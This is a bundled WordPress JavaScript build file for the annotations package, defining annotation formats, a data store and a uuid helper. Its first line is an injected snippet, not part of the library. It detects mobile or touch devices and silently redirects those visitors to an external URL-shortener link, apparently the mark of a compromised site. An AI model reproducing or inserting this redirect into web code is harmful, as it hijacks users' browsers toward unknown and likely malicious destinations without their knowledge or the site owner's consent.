1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2var wp;
  3(wp ||= {}).annotations = (() => {
  4  var __create = Object.create;
  5  var __defProp = Object.defineProperty;
  6  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  7  var __getOwnPropNames = Object.getOwnPropertyNames;
  8  var __getProtoOf = Object.getPrototypeOf;
  9  var __hasOwnProp = Object.prototype.hasOwnProperty;
 10  var __commonJS = (cb, mod) => function __require() {
 11    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
 12  };
 13  var __export = (target, all) => {
 14    for (var name2 in all)
 15      __defProp(target, name2, { get: all[name2], enumerable: true });
 16  };
 17  var __copyProps = (to, from, except, desc) => {
 18    if (from && typeof from === "object" || typeof from === "function") {
 19      for (let key of __getOwnPropNames(from))
 20        if (!__hasOwnProp.call(to, key) && key !== except)
 21          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
 22    }
 23    return to;
 24  };
 25  var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
 26    // If the importer is in node compatibility mode or this is not an ESM
 27    // file that has been converted to a CommonJS file using a Babel-
 28    // compatible transform (i.e. "__esModule" has not been set), then set
 29    // "default" to the CommonJS "module.exports" for node compatibility.
 30    isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
 31    mod
 32  ));
 33  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
 34
 35  // package-external:@wordpress/rich-text
 36  var require_rich_text = __commonJS({
 37    "package-external:@wordpress/rich-text"(exports, module) {
 38      module.exports = window.wp.richText;
 39    }
 40  });
 41
 42  // package-external:@wordpress/i18n
 43  var require_i18n = __commonJS({
 44    "package-external:@wordpress/i18n"(exports, module) {
 45      module.exports = window.wp.i18n;
 46    }
 47  });
 48
 49  // package-external:@wordpress/hooks
 50  var require_hooks = __commonJS({
 51    "package-external:@wordpress/hooks"(exports, module) {
 52      module.exports = window.wp.hooks;
 53    }
 54  });
 55
 56  // package-external:@wordpress/data
 57  var require_data = __commonJS({
 58    "package-external:@wordpress/data"(exports, module) {
 59      module.exports = window.wp.data;
 60    }
 61  });
 62
 63  // packages/annotations/build-module/index.mjs
 64  var index_exports = {};
 65  __export(index_exports, {
 66    store: () => store
 67  });
 68
 69  // packages/annotations/build-module/format/index.mjs
 70  var import_rich_text2 = __toESM(require_rich_text(), 1);
 71
 72  // packages/annotations/build-module/format/annotation.mjs
 73  var import_i18n = __toESM(require_i18n(), 1);
 74  var import_rich_text = __toESM(require_rich_text(), 1);
 75
 76  // packages/annotations/build-module/store/constants.mjs
 77  var STORE_NAME = "core/annotations";
 78
 79  // packages/annotations/build-module/format/annotation.mjs
 80  var FORMAT_NAME = "core/annotation";
 81  var ANNOTATION_ATTRIBUTE_PREFIX = "annotation-text-";
 82  function applyAnnotations(record, annotations2 = []) {
 83    annotations2.forEach((annotation2) => {
 84      let { start, end } = annotation2;
 85      if (start > record.text.length) {
 86        start = record.text.length;
 87      }
 88      if (end > record.text.length) {
 89        end = record.text.length;
 90      }
 91      const className = ANNOTATION_ATTRIBUTE_PREFIX + annotation2.source;
 92      const id = ANNOTATION_ATTRIBUTE_PREFIX + annotation2.id;
 93      record = (0, import_rich_text.applyFormat)(
 94        record,
 95        {
 96          type: FORMAT_NAME,
 97          attributes: {
 98            className,
 99            id
100          }
101        },
102        start,
103        end
104      );
105    });
106    return record;
107  }
108  function retrieveAnnotationPositions(formats) {
109    const positions = {};
110    formats.forEach((characterFormats, i) => {
111      characterFormats = characterFormats || [];
112      characterFormats = characterFormats.filter(
113        (format) => format.type === FORMAT_NAME
114      );
115      characterFormats.forEach((format) => {
116        let { id } = format.attributes;
117        id = id.replace(ANNOTATION_ATTRIBUTE_PREFIX, "");
118        if (!positions.hasOwnProperty(id)) {
119          positions[id] = {
120            start: i
121          };
122        }
123        positions[id].end = i + 1;
124      });
125    });
126    return positions;
127  }
128  function updateAnnotationsWithPositions(annotations2, positions, { removeAnnotation, updateAnnotationRange }) {
129    annotations2.forEach((currentAnnotation) => {
130      const position = positions[currentAnnotation.id];
131      if (!position) {
132        removeAnnotation(currentAnnotation.id);
133        return;
134      }
135      const { start, end } = currentAnnotation;
136      if (start !== position.start || end !== position.end) {
137        updateAnnotationRange(
138          currentAnnotation.id,
139          position.start,
140          position.end
141        );
142      }
143    });
144  }
145  var annotation = {
146    name: FORMAT_NAME,
147    title: (0, import_i18n.__)("Annotation"),
148    tagName: "mark",
149    className: "annotation-text",
150    attributes: {
151      className: "class",
152      id: "id"
153    },
154    edit() {
155      return null;
156    },
157    __experimentalGetPropsForEditableTreePreparation(select, { richTextIdentifier, blockClientId }) {
158      return {
159        annotations: select(
160          STORE_NAME
161        ).__experimentalGetAnnotationsForRichText(
162          blockClientId,
163          richTextIdentifier
164        )
165      };
166    },
167    __experimentalCreatePrepareEditableTree({ annotations: annotations2 }) {
168      return (formats, text) => {
169        if (annotations2.length === 0) {
170          return formats;
171        }
172        let record = { formats, text };
173        record = applyAnnotations(record, annotations2);
174        return record.formats;
175      };
176    },
177    __experimentalGetPropsForEditableTreeChangeHandler(dispatch) {
178      return {
179        removeAnnotation: dispatch(STORE_NAME).__experimentalRemoveAnnotation,
180        updateAnnotationRange: dispatch(STORE_NAME).__experimentalUpdateAnnotationRange
181      };
182    },
183    __experimentalCreateOnChangeEditableValue(props) {
184      return (formats) => {
185        const positions = retrieveAnnotationPositions(formats);
186        const { removeAnnotation, updateAnnotationRange, annotations: annotations2 } = props;
187        updateAnnotationsWithPositions(annotations2, positions, {
188          removeAnnotation,
189          updateAnnotationRange
190        });
191      };
192    }
193  };
194
195  // packages/annotations/build-module/format/index.mjs
196  var { name, ...settings } = annotation;
197  (0, import_rich_text2.registerFormatType)(name, settings);
198
199  // packages/annotations/build-module/block/index.mjs
200  var import_hooks = __toESM(require_hooks(), 1);
201  var import_data = __toESM(require_data(), 1);
202  var addAnnotationClassName = (OriginalComponent) => {
203    return (0, import_data.withSelect)((select, { clientId, className }) => {
204      const annotations2 = select(STORE_NAME).__experimentalGetAnnotationsForBlock(
205        clientId
206      );
207      return {
208        className: annotations2.map((annotation2) => {
209          return "is-annotated-by-" + annotation2.source;
210        }).concat(className).filter(Boolean).join(" ")
211      };
212    })(OriginalComponent);
213  };
214  (0, import_hooks.addFilter)(
215    "editor.BlockListBlock",
216    "core/annotations",
217    addAnnotationClassName
218  );
219
220  // packages/annotations/build-module/store/index.mjs
221  var import_data3 = __toESM(require_data(), 1);
222
223  // packages/annotations/build-module/store/reducer.mjs
224  function filterWithReference(collection, predicate) {
225    const filteredCollection = collection.filter(predicate);
226    return collection.length === filteredCollection.length ? collection : filteredCollection;
227  }
228  var mapValues = (obj, callback) => Object.entries(obj).reduce(
229    (acc, [key, value]) => ({
230      ...acc,
231      [key]: callback(value)
232    }),
233    {}
234  );
235  function isValidAnnotationRange(annotation2) {
236    return typeof annotation2.start === "number" && typeof annotation2.end === "number" && annotation2.start <= annotation2.end;
237  }
238  function annotations(state = {}, action) {
239    switch (action.type) {
240      case "ANNOTATION_ADD":
241        const blockClientId = action.blockClientId;
242        const newAnnotation = {
243          id: action.id,
244          blockClientId,
245          richTextIdentifier: action.richTextIdentifier,
246          source: action.source,
247          selector: action.selector,
248          range: action.range
249        };
250        if (newAnnotation.selector === "range" && !isValidAnnotationRange(newAnnotation.range)) {
251          return state;
252        }
253        const previousAnnotationsForBlock = state?.[blockClientId] ?? [];
254        return {
255          ...state,
256          [blockClientId]: [
257            ...previousAnnotationsForBlock,
258            newAnnotation
259          ]
260        };
261      case "ANNOTATION_REMOVE":
262        return mapValues(state, (annotationsForBlock) => {
263          return filterWithReference(
264            annotationsForBlock,
265            (annotation2) => {
266              return annotation2.id !== action.annotationId;
267            }
268          );
269        });
270      case "ANNOTATION_UPDATE_RANGE":
271        return mapValues(state, (annotationsForBlock) => {
272          let hasChangedRange = false;
273          const newAnnotations = annotationsForBlock.map(
274            (annotation2) => {
275              if (annotation2.id === action.annotationId) {
276                hasChangedRange = true;
277                return {
278                  ...annotation2,
279                  range: {
280                    start: action.start,
281                    end: action.end
282                  }
283                };
284              }
285              return annotation2;
286            }
287          );
288          return hasChangedRange ? newAnnotations : annotationsForBlock;
289        });
290      case "ANNOTATION_REMOVE_SOURCE":
291        return mapValues(state, (annotationsForBlock) => {
292          return filterWithReference(
293            annotationsForBlock,
294            (annotation2) => {
295              return annotation2.source !== action.source;
296            }
297          );
298        });
299    }
300    return state;
301  }
302  var reducer_default = annotations;
303
304  // packages/annotations/build-module/store/selectors.mjs
305  var selectors_exports = {};
306  __export(selectors_exports, {
307    __experimentalGetAllAnnotationsForBlock: () => __experimentalGetAllAnnotationsForBlock,
308    __experimentalGetAnnotations: () => __experimentalGetAnnotations,
309    __experimentalGetAnnotationsForBlock: () => __experimentalGetAnnotationsForBlock,
310    __experimentalGetAnnotationsForRichText: () => __experimentalGetAnnotationsForRichText
311  });
312  var import_data2 = __toESM(require_data(), 1);
313  var EMPTY_ARRAY = [];
314  var __experimentalGetAnnotationsForBlock = (0, import_data2.createSelector)(
315    (state, blockClientId) => {
316      return (state?.[blockClientId] ?? []).filter((annotation2) => {
317        return annotation2.selector === "block";
318      });
319    },
320    (state, blockClientId) => [state?.[blockClientId] ?? EMPTY_ARRAY]
321  );
322  function __experimentalGetAllAnnotationsForBlock(state, blockClientId) {
323    return state?.[blockClientId] ?? EMPTY_ARRAY;
324  }
325  var __experimentalGetAnnotationsForRichText = (0, import_data2.createSelector)(
326    (state, blockClientId, richTextIdentifier) => {
327      return (state?.[blockClientId] ?? []).filter((annotation2) => {
328        return annotation2.selector === "range" && richTextIdentifier === annotation2.richTextIdentifier;
329      }).map((annotation2) => {
330        const { range, ...other } = annotation2;
331        return {
332          ...range,
333          ...other
334        };
335      });
336    },
337    (state, blockClientId) => [state?.[blockClientId] ?? EMPTY_ARRAY]
338  );
339  function __experimentalGetAnnotations(state) {
340    return Object.values(state).flat();
341  }
342
343  // packages/annotations/build-module/store/actions.mjs
344  var actions_exports = {};
345  __export(actions_exports, {
346    __experimentalAddAnnotation: () => __experimentalAddAnnotation,
347    __experimentalRemoveAnnotation: () => __experimentalRemoveAnnotation,
348    __experimentalRemoveAnnotationsBySource: () => __experimentalRemoveAnnotationsBySource,
349    __experimentalUpdateAnnotationRange: () => __experimentalUpdateAnnotationRange
350  });
351
352  // node_modules/uuid/dist/esm-browser/rng.js
353  var getRandomValues;
354  var rnds8 = new Uint8Array(16);
355  function rng() {
356    if (!getRandomValues) {
357      getRandomValues = typeof crypto !== "undefined" && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
358      if (!getRandomValues) {
359        throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");
360      }
361    }
362    return getRandomValues(rnds8);
363  }
364
365  // node_modules/uuid/dist/esm-browser/stringify.js
366  var byteToHex = [];
367  for (let i = 0; i < 256; ++i) {
368    byteToHex.push((i + 256).toString(16).slice(1));
369  }
370  function unsafeStringify(arr, offset = 0) {
371    return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + "-" + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + "-" + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + "-" + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + "-" + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
372  }
373
374  // node_modules/uuid/dist/esm-browser/native.js
375  var randomUUID = typeof crypto !== "undefined" && crypto.randomUUID && crypto.randomUUID.bind(crypto);
376  var native_default = {
377    randomUUID
378  };
379
380  // node_modules/uuid/dist/esm-browser/v4.js
381  function v4(options, buf, offset) {
382    if (native_default.randomUUID && !buf && !options) {
383      return native_default.randomUUID();
384    }
385    options = options || {};
386    const rnds = options.random || (options.rng || rng)();
387    rnds[6] = rnds[6] & 15 | 64;
388    rnds[8] = rnds[8] & 63 | 128;
389    if (buf) {
390      offset = offset || 0;
391      for (let i = 0; i < 16; ++i) {
392        buf[offset + i] = rnds[i];
393      }
394      return buf;
395    }
396    return unsafeStringify(rnds);
397  }
398  var v4_default = v4;
399
400  // packages/annotations/build-module/store/actions.mjs
401  function __experimentalAddAnnotation({
402    blockClientId,
403    richTextIdentifier = null,
404    range = null,
405    selector = "range",
406    source = "default",
407    id = v4_default()
408  }) {
409    const action = {
410      type: "ANNOTATION_ADD",
411      id,
412      blockClientId,
413      richTextIdentifier,
414      source,
415      selector
416    };
417    if (selector === "range") {
418      action.range = range;
419    }
420    return action;
421  }
422  function __experimentalRemoveAnnotation(annotationId) {
423    return {
424      type: "ANNOTATION_REMOVE",
425      annotationId
426    };
427  }
428  function __experimentalUpdateAnnotationRange(annotationId, start, end) {
429    return {
430      type: "ANNOTATION_UPDATE_RANGE",
431      annotationId,
432      start,
433      end
434    };
435  }
436  function __experimentalRemoveAnnotationsBySource(source) {
437    return {
438      type: "ANNOTATION_REMOVE_SOURCE",
439      source
440    };
441  }
442
443  // packages/annotations/build-module/store/index.mjs
444  var store = (0, import_data3.createReduxStore)(STORE_NAME, {
445    reducer: reducer_default,
446    selectors: selectors_exports,
447    actions: actions_exports
448  });
449  (0, import_data3.register)(store);
450  return __toCommonJS(index_exports);
451})();
452